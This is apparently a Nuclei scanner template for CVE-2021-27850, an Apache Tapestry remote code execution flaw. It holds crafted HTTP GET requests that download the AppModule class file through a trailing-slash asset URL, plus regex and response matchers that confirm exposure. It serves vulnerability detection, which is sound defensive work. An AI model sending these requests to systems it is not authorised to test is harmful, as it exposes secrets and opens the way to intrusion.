id: CVE-2021-27850 info: name: Apache Tapestry - Remote Code Execution author: pdteam severity: critical description: | Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-27850 - https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry.apache.org%3E - http://www.openwall.com/lists/oss-security/2021/04/15/1 - https://security.netapp.com/advisory/ntap-20210528-0002/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-27850 cwe-id: CWE-502 cpe: cpe:2.3:a:apache:tapestry:*:*:*:*:*:*:*:* epss-score: 0.97409 tags: cve,cve2021,apache,tapestry metadata: max-request: 2 http: - raw: - | GET /assets/app/something/services/AppModule.class/ HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} - | GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} extractors: - type: regex regex: - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod' internal: true name: id part: header group: 1 matchers-condition: and matchers: - type: status status: - 200 - type: word words: - 'application/java' part: header - type: word words: - 'configuration' - 'webtools' part: body condition: and # Enhanced by mp on 2022/05/17